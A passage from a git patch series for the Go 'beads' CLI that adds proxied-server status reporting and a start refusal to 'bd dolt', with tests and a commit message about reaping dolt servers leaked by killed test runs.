proxiedDoltStartRefusal is enforced inside the command rather than by the +// pre-provider capability gate because `bd dolt` is a noDbCommands entry: its +// subcommands skip store init and so never reach the gate in main.go. Folding +// this row into the consolidated registry is S2's job; the corruption guard +// should not wait for it. +func proxiedDoltStartRefusal() *ProxyCapabilityError { + return &ProxyCapabilityError{ + Code: proxyDoltStartConflictCode, + Message: proxyDoltStartConflictMessage, + ExitCode: 1, + } +} + +// proxiedDoltStatus is the `bd dolt status --json` payload for a proxied +// workspace. It reports the two processes separately because they fail +// separately and an operator's next move differs: Running describes the proxy, +// which is the endpoint every bd command connects through, while the Backend* +// fields describe the dolt server behind it. +type proxiedDoltStatus struct { + Mode string `json:"mode"` + Root string `json:"root"` + Running bool `json:"running"` + ProxyPID int `json:"proxy_pid,omitempty"` + ProxyPort int `json:"proxy_port,omitempty"` + // BackendManaged is false on an external proxied topology, where the + // dolt server is somebody else's process and BackendRunning says nothing + // about it. Without this flag a caller cannot tell "the backend is down" + // from "bd never had a backend to report". + BackendManaged bool `json:"backend_managed"` + BackendRunning bool `json:"backend_running"` + BackendPID int `json:"backend_pid,omitempty"` + BackendPort int `json:"backend_port,omitempty"` + BackendEndpoint string `json:"backend_endpoint,omitempty"` + IdleTimeout string `json:"idle_timeout,omitempty"` +} + +func collectProxiedDoltStatus(beadsDir string) (proxiedDoltStatus, error) { + root, err := resolveProxiedServerRootPath(beadsDir) + if err != nil { + return proxiedDoltStatus{}, err + } + live := proxy.ReadStatus(root) + status := proxiedDoltStatus{ + Mode: configfile.DoltModeProxiedServer, + Root: root, + Running: live.ProxyRunning, + ProxyPID: live.ProxyPID, + ProxyPort: live.ProxyPort, + BackendManaged: true, + BackendRunning: live.BackendRunning, + BackendPID: live.BackendPID, + BackendPort: live.BackendPort, + } + + info, err := configfile.LoadProxiedServerClientInfo(beadsDir) + if err != nil { + return proxiedDoltStatus{}, err + } + // A missing sidecar means the workspace predates it or was hand-edited; + // managed-local is the default topology, and the pid records already read + // above are the authority on what is actually running either way. + if info != nil { + if info.IdleTimeout > 0 { + status.IdleTimeout = info.IdleTimeout.String() + } + if info.External != nil { + status.BackendManaged = false + status.BackendEndpoint = externalDoltEndpoint(*info.External) + } + } + return status, nil +} + +func externalDoltEndpoint(cfg configfile.ExternalDoltConfig) string { + if cfg.Socket != "" { + return "unix:" + cfg.Socket + } + return net.JoinHostPort(cfg.Host, strconv.Itoa(cfg.Port)) +} + +func renderProxiedDoltStatus(status proxiedDoltStatus) { + if jsonOutput { + if err := outputJSON(status); err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + } + return + } + + if status.Running { + fmt.Printf("Dolt server: running (%s)\n", status.Mode) + fmt.Printf(" Proxy PID: %d\n", status.ProxyPID) + fmt.Printf(" Proxy port: %d\n", status.ProxyPort) + } else { + fmt.Printf("Dolt server: not running (%s)\n", status.Mode) + } + fmt.Printf(" Root: %s\n", status.Root) + switch { + case !status.BackendManaged: + fmt.Printf(" Backend: external at %s (not managed by bd)\n", status.BackendEndpoint) + case status.BackendRunning: + fmt.Printf(" Backend: running (dolt PID %d, port %d)\n", status.BackendPID, status.BackendPort) + default: + fmt.Println(" Backend: not running") + } + if status.IdleTimeout != "" { + fmt.Printf(" Idle timeout: %s\n", status.IdleTimeout) + } + if !status.Running { + fmt.Println(" The proxy starts on demand; the next bd command launches it.") + } + if isDoltLocalOnly() { + fmt.Println(" Remote sync: disabled (dolt.local-only=true)") + } +} diff --git a/cmd/bd/dolt_proxied_lifecycle_test.go b/cmd/bd/dolt_proxied_lifecycle_test.go new file mode 100644 index 000000000..d12f87d0b --- /dev/null +++ b/cmd/bd/dolt_proxied_lifecycle_test.go @@ -0,0 +1,187 @@ +package main + +import ( + "encoding/json" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/configfile" +) + +// TestProxiedDoltStartRefusalContract pins the parts downstream consumers +// branch on. The code is frozen; the message is informative and may be +// reworded, but it has to keep naming the mode and pointing somewhere useful, +// because "start refused" with no onward path is what sends an operator +// looking for a manual workaround. +func TestProxiedDoltStartRefusalContract(t *testing.T) { + err := proxiedDoltStartRefusal() + if err.Code != "proxy.dolt_start.conflict" { + t.Errorf("code = %q, want %q", err.Code, "proxy.dolt_start.conflict") + } + if err.ExitCode != 1 { + t.Errorf("exit code = %d, want 1", err.ExitCode) + } + if err.Mutates { + t.Error("mutates = true; a refused start changes nothing") + } + for _, want := range []string{"proxied-server mode", "bd dolt status", "bd dolt stop"} { + if !strings.Contains(err.Message, want) { + t.Errorf("message does not mention %q: %q", want, err.Message) + } + } +} + +func TestExternalDoltEndpoint(t *testing.T) { + for _, tc := range []struct { + name string + cfg configfile.ExternalDoltConfig + want string + }{ + {"tcp", configfile.ExternalDoltConfig{Host: "127.0.0.1", Port: 3310}, "127.0.0.1:3310"}, + {"ipv6", configfile.ExternalDoltConfig{Host: "::1", Port: 3310}, "[::1]:3310"}, + {"socket wins", configfile.ExternalDoltConfig{Socket: "/tmp/dolt.sock"}, "unix:/tmp/dolt.sock"}, + } { + t.Run(tc.name, func(t *testing.T) { + if got := externalDoltEndpoint(tc.cfg); got != tc.want { + t.Errorf("externalDoltEndpoint = %q, want %q", got, tc.want) + } + }) + } +} + +// TestCollectProxiedDoltStatusQuiescentRoot covers the case an operator hits +// most: nothing is running yet. The answer has to be "not running" WITHOUT +// starting anything — a status command that spawns the topology it is +// reporting on would defeat the idle reaper it is reporting about. +func TestCollectProxiedDoltStatusQuiescentRoot(t *testing.T) { + beadsDir := t.TempDir() + root := filepath.Join(beadsDir, "dolt") + t.Setenv("BEADS_PROXIED_SERVER_ROOT_PATH", root) + + status, err := collectProxiedDoltStatus(beadsDir) + if err != nil { + t.Fatalf("collectProxiedDoltStatus: %v", err) + } + if status.Mode != "proxied-server" { + t.Errorf("mode = %q, want %q", status.Mode, "proxied-server") + } + if status.Root != root { + t.Errorf("root = %q, want %q", status.Root, root) + } + if status.Running || status.BackendRunning { + t.Errorf("reported something running for an empty root: %+v", status) + } + if !status.BackendManaged { + t.Error("backend_managed = false with no external sidecar; managed-local is the default topology") + } + if entries, _ := filepath.Glob(filepath.Join(root, "*")); len(entries) != 0 { + t.Errorf("reading status created %v under the proxied root", entries) + } +} + +func TestCollectProxiedDoltStatusExternalTopology(t *testing.T) { + beadsDir := t.TempDir() + root := filepath.Join(beadsDir, "dolt") + t.Setenv("BEADS_PROXIED_SERVER_ROOT_PATH", root) + if err := configfile.SaveProxiedServerClientInfo(beadsDir, &configfile.ProxiedServerClientInfo{ + IdleTimeout: 45 * time.Second, + External: &configfile.ExternalDoltConfig{Host: "10.0.0.5", Port: 3306}, + }); err != nil { + t.Fatalf("SaveProxiedServerClientInfo: %v", err) + } + + status, err := collectProxiedDoltStatus(beadsDir) + if err != nil { + t.Fatalf("collectProxiedDoltStatus: %v", err) + } + if status.BackendManaged { + t.Error("backend_managed = true for an external topology; bd spawns no dolt there") + } + if status.BackendEndpoint != "10.0.0.5:3306" { + t.Errorf("backend_endpoint = %q, want %q", status.BackendEndpoint, "10.0.0.5:3306") + } + if status.IdleTimeout != "45s" { + t.Errorf("idle_timeout = %q, want %q", status.IdleTimeout, "45s") + } +} + +func TestRenderProxiedDoltStatus(t *testing.T) { + running := proxiedDoltStatus{ + Mode: "proxied-server", Root: "/w/.beads/dolt", Running: true, + ProxyPID: 111, ProxyPort: 40001, + BackendManaged: true, BackendRunning: true, BackendPID: 222, BackendPort: 40002, + IdleTimeout: "30s", + } + + t.Run("text reports both processes", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = false + out := captureStdout(t, func() error { renderProxiedDoltStatus(running); return nil }) + for _, want := range []string{ + "Dolt server: running (proxied-server)", + "Proxy PID: 111", + "Proxy port: 40001", + "Root: /w/.beads/dolt", + "Backend: running (dolt PID 222, port 40002)", + "Idle timeout: 30s", + } { + if !strings.Contains(out, want) { + t.Errorf("missing %q in:\n%s", want, out) + } + } + }) + + t.Run("text says how to start it when down", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = false + down := running + down.Running, down.ProxyPID, down.ProxyPort = false, 0, 0 + down.BackendRunning, down.BackendPID, down.BackendPort = false, 0, 0 + out := captureStdout(t, func() error { renderProxiedDoltStatus(down); return nil }) + for _, want := range []string{ + "Dolt server: not running (proxied-server)", + "Backend: not running", + "The proxy starts on demand", + } { + if !strings.Contains(out, want) { + t.Errorf("missing %q in:\n%s", want, out) + } + } + }) + + t.Run("text marks an external backend as somebody else's", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = false + external := running + external.BackendManaged, external.BackendRunning = false, false + external.BackendEndpoint = "10.0.0.5:3306" + out := captureStdout(t, func() error { renderProxiedDoltStatus(external); return nil }) + if !strings.Contains(out, "Backend: external at 10.0.0.5:3306 (not managed by bd)") { + t.Errorf("external backend not described:\n%s", out) + } + if strings.Contains(out, "Backend: not running") { + t.Errorf("external backend reported as down; bd has no record to say that from:\n%s", out) + } + }) + + t.Run("json carries the process records", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = true + out := captureStdout(t, func() error { renderProxiedDoltStatus(running); return nil }) + var got proxiedDoltStatus + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &got); err != nil { + t.Fatalf("decode %q: %v", out, err) + } + if got != running { + t.Errorf("round-trip mismatch:\ngot %+v\nwant %+v", got, running) + } + }) +} + +func restoreJSONOutput(t *testing.T) func() { + t.Helper() + orig := jsonOutput + return func() { jsonOutput = orig } +} diff --git a/cmd/bd/proxied_local_dolt_lifecycle_test.go b/cmd/bd/proxied_local_dolt_lifecycle_test.go new file mode 100644 index 000000000..c3ef948d0 --- /dev/null +++ b/cmd/bd/proxied_local_dolt_lifecycle_test.go @@ -0,0 +1,337 @@ +//go:build cgo && unix + +package main + +// Front-door lifecycle coverage for `bd dolt status` and `bd dolt start` on a +// MANAGED-LOCAL proxied workspace, plus the direct/embedded control that keeps +// the proxied guard from leaking into topologies bd really does manage. +// +// These live in the managed-local lane (TestManagedLocalProxied* runs under +// proxied-local-smoke.yml) because they are the only lane with a real proxy +// supervising a real dolt child: the defects being covered are about which +// process record bd reads and which process bd spawns, and neither is +// observable against an external testcontainer. + +import ( + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" +) + +// classicServerArtifacts are the files bd writes when IT owns a dolt +// sql-server. On a proxied workspace their appearance is the signature of the +// second-writer hazard: bd has spawned or adopted a server over the root the +// proxy serves, and now holds lifecycle state for a process it does not own. +var classicServerArtifacts = []string{ + doltserver.PIDFileName, + doltserver.PortFileName, + "dolt-server-config.yaml", +} + +// stopStrayClassicServer tears down a classic sql-server if one was recorded +// for beadsDir. It exists so that a RED run of these tests — where `bd dolt +// start` still spawns its own server over the proxied root — cannot leak that +// process past the test. Teardown goes through doltserver.Stop, which signals +// only the PID bd itself recorded. +func stopStrayClassicServer(t *testing.T, beadsDir string) { + t.Helper() + serverDir := doltserver.ResolveServerDir(beadsDir) + if _, err := os.Stat(filepath.Join(serverDir, doltserver.PIDFileName)); err != nil { + return + } + t.Logf("stray classic dolt-server.pid found under %s; stopping it", serverDir) + if err := doltserver.Stop(serverDir); err != nil { + t.Logf("doltserver.Stop(%s): %v", serverDir, err) + } +} + +func assertNoClassicServerArtifacts(t *testing.T, beadsDir, when string) { + t.Helper() + for _, name := range classicServerArtifacts { + path := filepath.Join(beadsDir, name) + if _, err := os.Stat(path); err == nil { + body, _ := os.ReadFile(path) // #nosec G304 - test-owned temp path + t.Errorf("%s: %s exists on a proxied workspace (contents %q); bd took ownership of a server over the proxied root", + when, name, strings.TrimSpace(string(body))) + } + } +} + +// TestManagedLocalProxiedDoltStatusReportsLiveTopology pins the truthfulness +// half of the fix: with a proxy and its dolt child both live, `bd dolt status` +// must report them. Before the fix it read the classic pidfile, which a +// proxied workspace never writes, and answered "not running" — a confident +// lie, and the reason an operator would reach for `bd dolt start` next. +func TestManagedLocalProxiedDoltStatusReportsLiveTopology(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "mlstat", 5*time.Minute) + // Exercise the symlinked temporary paths used on macOS on every Unix host. + linkedWorkspace := filepath.Join(t.TempDir(), "linked-workspace") + if err := os.Symlink(p.dir, linkedWorkspace); err != nil { + t.Fatalf("symlink workspace directory: %v", err) + } + p.dir = linkedWorkspace + p.beadsDir = filepath.Join(p.dir, ".beads") + p.proxyRoot = filepath.Join(p.beadsDir, "dolt") + bdProxiedCreate(t, bd, p.dir, "status sentinel") + + proxyPid := readManagedProxyPidFile(t, p) + if proxyPid == nil || !processAlive(proxyPid.Pid) { + t.Fatalf("expected a live proxy after a create; pidfile=%+v", proxyPid) + } + backendPid := readManagedBackendPidFile(t, p) + if backendPid == nil || !processAlive(backendPid.Pid) { + t.Fatalf("expected a live dolt backend after a create; pidfile=%+v", backendPid) + } + + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + var got struct { + Mode string `json:"mode"` + Running bool `json:"running"` + ProxyPID int `json:"proxy_pid"` + ProxyPort int `json:"proxy_port"` + BackendRunning bool `json:"backend_running"` + BackendPID int `json:"backend_pid"` + BackendPort int `json:"backend_port"` + Root string `json:"root"` + } + if jsonErr := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); jsonErr != nil { + t.Fatalf("decode dolt status JSON: %v\nstdout:\n%s", jsonErr, stdout) + } + if got.Mode != "proxied-server" { + t.Errorf("mode=%q, want %q (status must name the topology it is describing)", got.Mode, "proxied-server") + } + if !got.Running { + t.Errorf("running=false while proxy pid %d is alive; status is reporting the wrong process record", proxyPid.Pid) + } + if got.ProxyPID != proxyPid.Pid { + t.Errorf("proxy_pid=%d, want %d (from %s)", got.ProxyPID, proxyPid.Pid, proxy.PIDFileName) + } + if got.ProxyPort != proxyPid.Port { + t.Errorf("proxy_port=%d, want %d (from %s)", got.ProxyPort, proxyPid.Port, proxy.PIDFileName) + } + if !got.BackendRunning { + t.Errorf("backend_running=false while dolt pid %d is alive", backendPid.Pid) + } + if got.BackendPID != backendPid.Pid { + t.Errorf("backend_pid=%d, want %d (from %s)", got.BackendPID, backendPid.Pid, server.PIDFileName) + } + if got.BackendPort != backendPid.Port { + t.Errorf("backend_port=%d, want %d (from %s)", got.BackendPort, backendPid.Port, server.PIDFileName) + } + gotRoot, err := filepath.EvalSymlinks(got.Root) + if err != nil { + t.Fatalf("resolve reported root %q: %v", got.Root, err) + } + wantRoot, err := filepath.EvalSymlinks(p.proxyRoot) + if err != nil { + t.Fatalf("resolve expected root %q: %v", p.proxyRoot, err) + } + if gotRoot != wantRoot { + t.Errorf("root=%q, want %q", got.Root, p.proxyRoot) + } + + textOut, textErr, err := bdProxiedRunBuffers(t, bd, p.dir, "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status (text) failed: %v\nstdout:\n%s\nstderr:\n%s", err, textOut, textErr) + } + if strings.Contains(textOut, "Dolt server: not running") { + t.Errorf("text status still claims the server is not running:\n%s", textOut) + } + for _, want := range []string{"proxied-server", "Backend"} { + if !strings.Contains(textOut, want) { + t.Errorf("text status missing %q:\n%s", want, textOut) + } + } + + // Reading status must not disturb what it is reporting on. + if after := readManagedProxyPidFile(t, p); after == nil || after.Pid != proxyPid.Pid { + t.Errorf("proxy pidfile changed across a status read: before=%+v after=%+v", proxyPid, after) + } + assertNoClassicServerArtifacts(t, p.beadsDir, "after bd dolt status") +} + +// TestManagedLocalProxiedDoltStartRefusesOverLiveProxy covers the hazard in +// its live-topology shape: with the proxy up, `bd dolt start` used to adopt +// the proxy's own dolt child into bd's classic server bookkeeping, leaving two +// managers for one process. +func TestManagedLocalProxiedDoltStartRefusesOverLiveProxy(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "mlstart", 5*time.Minute) + t.Cleanup(func() { stopStrayClassicServer(t, p.beadsDir) }) + bdProxiedCreate(t, bd, p.dir, "start sentinel") + + proxyBefore := readManagedProxyPidFile(t, p) + backendBefore := readManagedBackendPidFile(t, p) + if proxyBefore == nil || backendBefore == nil { + t.Fatalf("expected a live proxy and backend; proxy=%+v backend=%+v", proxyBefore, backendBefore) + } + + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "start") + if err == nil { + t.Errorf("bd dolt start succeeded on a live proxied workspace:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + assertProxyStartRefusal(t, stdout, stderr) + assertNoClassicServerArtifacts(t, p.beadsDir, "after bd dolt start") + + proxyAfter := readManagedProxyPidFile(t, p) + backendAfter := readManagedBackendPidFile(t, p) + if proxyAfter == nil || proxyAfter.Pid != proxyBefore.Pid { + t.Errorf("proxy record changed across a refused start: before=%+v after=%+v", proxyBefore, proxyAfter) + } + if backendAfter == nil || backendAfter.Pid != backendBefore.Pid { + t.Errorf("backend record changed across a refused start: before=%+v after=%+v", backendBefore, backendAfter) + } +} + +// TestManagedLocalProxiedDoltStartRefusesWithProxyDown covers the same hazard +// in its damaging shape. A proxied workspace whose proxy has idled out still +// has a proxied ROOT, and the classic start path resolves that root's port +// from its config.yaml: `bd dolt start` used to launch a real, unmanaged dolt +// sql-server directly over the proxy's data directory. The next ordinary bd +// command then failed, because the proxy came up and found a foreign server on +// its port. The workspace staying usable afterwards is the assertion that +// matters most here. +func TestManagedLocalProxiedDoltStartRefusesWithProxyDown(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "mldown", 5*time.Minute) + t.Cleanup(func() { stopStrayClassicServer(t, p.beadsDir) }) + bdProxiedCreate(t, bd, p.dir, "down sentinel") + + if err := proxy.Shutdown(p.proxyRoot); err != nil { + t.Fatalf("proxy.Shutdown(%s): %v", p.proxyRoot, err) + } + + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "start") + if err == nil { + t.Errorf("bd dolt start succeeded against a quiesced proxied root:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + assertProxyStartRefusal(t, stdout, stderr) + assertNoClassicServerArtifacts(t, p.beadsDir, "after bd dolt start with the proxy down") + + // The workspace must still work. Pre-fix this create failed with + // "invalid connection": the proxy relaunched and adopted the foreign + // server `bd dolt start` had left on its port. + out, createErr := bdProxiedRun(t, bd, p.dir, "create", "--json", "post-refusal write") + if createErr != nil { + t.Fatalf("workspace unusable after a refused dolt start: %v\n%s", createErr, out) + } +} + +func assertProxyStartRefusal(t *testing.T, stdout, stderr string) { + t.Helper() + var got struct { + Code string `json:"code"` + Error string `json:"error"` + Mutates bool `json:"mutates"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); err != nil { + t.Errorf("dolt start refusal is not typed JSON (%v)\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + return + } + if got.Code != proxyDoltStartConflictCode { + t.Errorf("refusal code=%q, want %q", got.Code, proxyDoltStartConflictCode) + } + if got.Mutates { + t.Errorf("refusal reported mutates=true; a refused start changes nothing") + } + if !strings.Contains(got.Error, "proxied-server mode") { + t.Errorf("refusal message does not name the mode: %q", got.Error) + } +} + +// TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone is the +// non-regression control for the two tests above: the proxied guard keys on +// the workspace's own mode, so an embedded workspace and a bd-managed direct +// local server must behave exactly as they did before. It runs in this lane +// rather than a direct-server one because this is the lane that installs the +// dolt CLI the direct case needs. +func TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + + t.Run("embedded", func(t *testing.T) { + dir, _, _ := bdInit(t, bd) + + statusOut, statusErr, err := runDirectBD(t, bd, dir, false, "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status failed on embedded: %v\nstdout:\n%s\nstderr:\n%s", err, statusOut, statusErr) + } + if !strings.Contains(statusOut, "Dolt engine: embedded (in-process, no server)") { + t.Errorf("embedded status changed:\n%s", statusOut) + } + + startOut, startErr, err := runDirectBD(t, bd, dir, false, "dolt", "start") + if err == nil { + t.Fatalf("bd dolt start unexpectedly succeeded on embedded:\n%s", startOut) + } + if !strings.Contains(startErr, "'bd dolt start' is not supported in embedded mode (no Dolt server)") { + t.Errorf("embedded start refusal changed:\nstdout:\n%s\nstderr:\n%s", startOut, startErr) + } + }) + + t.Run("direct-local-server", func(t *testing.T) { + dir := t.TempDir() + initGitRepoAt(t, dir) + if out, errOut, err := runDirectBD(t, bd, dir, true, "init", "--quiet", "--server", "--prefix", "dls"); err != nil { + t.Fatalf("bd init --server failed: %v\nstdout:\n%s\nstderr:\n%s", err, out, errOut) + } + beadsDir := filepath.Join(dir, ".beads") + t.Cleanup(func() { stopStrayClassicServer(t, beadsDir) }) + + startOut, startErr, err := runDirectBD(t, bd, dir, true, "dolt", "start") + if err != nil { + t.Fatalf("bd dolt start failed on a direct local server: %v\nstdout:\n%s\nstderr:\n%s", err, startOut, startErr) + } + if !strings.Contains(startOut, "Dolt server started (PID ") { + t.Fatalf("direct start output changed:\n%s", startOut) + } + + statusOut, statusErr, err := runDirectBD(t, bd, dir, true, "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status failed on a direct local server: %v\nstdout:\n%s\nstderr:\n%s", err, statusOut, statusErr) + } + if !strings.Contains(statusOut, "Dolt server: running") { + t.Errorf("direct status did not report the server bd just started:\n%s", statusOut) + } + + stopOut, stopErr, err := runDirectBD(t, bd, dir, true, "dolt", "stop") + if err != nil { + t.Fatalf("bd dolt stop failed on a direct local server: %v\nstdout:\n%s\nstderr:\n%s", err, stopOut, stopErr) + } + if !strings.Contains(stopOut, "Dolt server stopped.") { + t.Errorf("direct stop output changed:\n%s", stopOut) + } + }) +} + +// runDirectBD runs bd against a NON-proxied workspace. autoStart controls +// BEADS_DOLT_AUTO_START: the direct-server case needs it on, because +// bd dolt status routes a local server with auto-start disabled to the +// external SQL-probe path instead of the pidfile path under test. +func runDirectBD(t *testing.T, bd, dir string, autoStart bool, args ...string) (string, string, error) { + t.Helper() + env := bdEnv(dir) + if autoStart { + env = append(envWithout(env, "BEADS_DOLT_AUTO_START"), "BEADS_DOLT_AUTO_START=1") + } + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = env + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err +} diff --git a/internal/storage/dbproxy/proxy/read_status.go b/internal/storage/dbproxy/proxy/read_status.go new file mode 100644 index 000000000..14c996db2 --- /dev/null +++ b/internal/storage/dbproxy/proxy/read_status.go @@ -0,0 +1,62 @@ +package proxy + +import ( + "github.com/steveyegge/beads/internal/procid" + "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" +) + +// Status is a point-in-time description of the process tree under a proxied +// root: the proxy bd connects through, and the dolt backend the proxy +// supervises on a managed-local topology. +type Status struct { + ProxyRunning bool + ProxyPID int + ProxyPort int + // BackendRunning describes the proxy-child record only. An external + // proxied topology never writes one — bd spawns no dolt there — so a + // false value means "bd supervises no backend here", which is not the + // same claim as "the database is down". Callers that can tell the + // topologies apart must say which one they are reporting. + BackendRunning bool + BackendPID int + BackendPort int +} + +// ReadStatus answers what is running under rootDir without starting, +// stopping, or adopting anything: it reads the two pid records and verifies +// the recorded processes are still the ones that wrote them. Safe for +// diagnostics, which is the whole point — a reporting command must not have +// lifecycle side effects. +func ReadStatus(rootDir string) Status { + var st Status + if discovery := readAndDial(rootDir); discovery.status == adoptionAdopted { + st.ProxyRunning = true + st.ProxyPID = discovery.pidfile.Pid + st.ProxyPort = discovery.pidfile.Port + } + st.BackendRunning, st.BackendPID, st.BackendPort = readBackendRecord(rootDir) + return st +} + +// readBackendRecord verifies the supervised dolt backend from its pidfile. +// Unlike the proxy there is no control channel to interrogate — the backend is +// a plain dolt sql-server — so identity stops at the birth token. That still +// rejects a recycled pid, which a bare liveness check would not, and it is the +// same first gate the proxy's own adoption path applies. A record that fails +// any check reports nothing rather than a pid a caller might act on: a stale +// record's pid is precisely the one that must not be signaled. +func readBackendRecord(rootDir string) (running bool, pid int, port int) { + pf, err := pidfile.Read(rootDir, server.PIDFileName) + if err != nil || pf == nil { + return false, 0, 0 + } + if err := pf.ValidateV2(pidfile.KindDoltBackend); err != nil { + return false, 0, 0 + } + matched, err := verifyProcessIdentity(pf.Pid, procid.Token(pf.Birth)) + if err != nil || !matched { + return false, 0, 0 + } + return true, pf.Pid, pf.Port +} From 4eeb41f7d60eb74b85b1d6fb02b26e110c5f274f Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 22 Sep 2026 15:08:40 -0700 Subject: [PATCH 061/624] fix(test): reap dolt sql-servers leaked by killed test runs, and fail the suite that leaks (#6441) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(test): reap dolt sql-servers leaked by killed test runs A `go test -timeout` panic skips every t.Cleanup and TestMain defer, so a test run killed that way left its `dolt sql-server` running forever. Two gaps kept anything from ever noticing: 1. On darwin the deleted-cwd signal could not fire. macOS lsof prints the bare path of a working directory that has been unlinked — no " (deleted)" suffix, unlike Linux's /proc//cwd — so readDarwinCwd always reported deleted=false and selectOrphanTestServerPIDs' orphan arm was dead code on this platform. It now stats the path and treats ENOENT (and only ENOENT) as deletion, via a pure parseDarwinCwd that takes the stat function so the classification is unit-testable. 2. Nothing ever looked at a DEAD run's temp root again. Each suite swept only its own root, after its own m.Run() — the one moment a killed run never reaches. New in internal/doltserver: WriteSuiteOwnerMarker claims a root with the owning PID, and SweepDeadSuiteRoots globs a suite's prefix at the START of the next run and reaps only roots whose recorded owner is gone. An unclaimed root and a root whose owner is alive (a parallel package, a second `go test`) are both left exactly as they are, so this keeps SweepOrphanedTestServers' contract: never a shared temp dir, never another suite's live server. decideSuiteRoot holds that judgment alone and is table-tested; the liveness probe is build-tagged darwin/linux with an always-alive stub elsewhere, making the helper a no-op there. Wired into the cmd/bd and internal/storage/dolt TestMains, plus a new TestMain for internal/storage/uow — the package that produced the observed orphan and had no suite lifecycle at all. It pins TMPDIR under a suite root so every t.TempDir() is sweepable, and newTestUOWProvider's cleanup now reads the backend pid file before proxy.Shutdown and fails the test if that server is still alive five seconds later, so a leak is visible where it is caused rather than inferred later from a sweep. Each wired TestMain reports a non-empty post-run sweep loudly, and fails the run on it only under BEADS_TEST_FAIL_ON_LEAK=1 — opt-in so one flaky test cannot redden a package for everyone. No workflow sets it yet. Tests: go test ./internal/doltserver/ -run 'Sweep|Orphan|Suite' -count=1; go test ./internal/storage/uow/ -run TestUOWDependencyEditorContract -count=1 -timeout 10m (real dolt); go test ./cmd/bd/ -run 'TestMain|TestVersion' -count=1 -timeout 5m; go build ./...; go vet over the three packages; gofmt -l . clean; golangci-lint (gosec + misspell) clean over the touched packages. Verified on a live box: the orphan with the deleted cwd was reaped, while the production server, an unclaimed suite root's server, and an unrelated dolt server were all left running. Refs: wy-j2zc8q Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01S1sjyiTjodNqNqEzEFbKAE * fix(test): bound the sweep to temp roots and verify before killing Round 2 on the leaked-test-server sweep, addressing an adversarial review of 2d9d656b5. Every finding was about the same thing: the first pass reached further than its own doc comments claimed. 1. selectOrphanTestServerPIDs' deleted-cwd arm was root-independent, and the darwin fix had just brought it to life on macOS. A PRODUCTION server is spawned with cmd.Dir = /.beads/dolt, so a developer who moved that workspace — or whose external volume unmounted — would have their live server reaped by any test run on the box. The arm now also requires the deleted path to have been under a temp root (tempDirRoots: os.TempDir plus /tmp, each in both its literal and symlink-resolved form, which is what makes macOS's /var/folders vs /private/var/folders pair match). This was a live hazard on linux too. 2. SweepDeadSuiteRoots promised it only touched marker-owned dead roots, but reached SweepOrphanedTestServers, whose deleted-cwd arm spans the whole box — at suite START, with sibling packages mid-run. It now uses a new strictly root-scoped entry point, sweepServersUnderRoots, with the shared SIGTERM/SIGKILL loop factored out as reapServerPIDs on each platform. The end-of-run sweep in the TestMains still uses the broad one, which finding 1 has now bounded to temp dirs. 3. The uow cleanup's exit check blind-killed a bare PID. The server is not this process's child, so its PID is reusable, and proxy.Shutdown deliberately REFUSES to signal a record it cannot verify — killing that very PID defeated the protection. It now keeps the whole pidfile record, runs only when Shutdown returned an error (success already kills and confirms), and gates both the liveness check and the kill on procid.Verify / procid.Open with the recorded birth token. Timeout raised to 30s, since Shutdown's own budget is 5s + 2s. 4. os.RemoveAll deletes the marker early, so a partial failure left an unclaimed root that no later run could ever touch. Removal now does a chmod u+w walk first (mirroring cmd/bd's forceRemoveAll, which exists because that root doubles as an isolated $HOME full of read-only module cache entries), and on a still-failing removal it rewrites the marker with the same dead PID so the next run retries. 5. internal/storage/dolt created its root and ran the sweep above the isHelperSubprocess early return: eight concurrent helpers each swept and each claimed a root that os.Exit then abandoned. Moved below it; a helper inherits the parent's live BEADS_TEST_CIRCUIT_DIR through the BEADS_ allowlist in integration.FilterEnv. 6. SweepDeadSuiteRoots globs a world-writable directory, so a planted root with a dead-PID marker could aim it at a tree of someone else's choosing. It now requires the root's uid to be os.Getuid() (unix-only file, accept- all stub elsewhere, where the sweep is inert 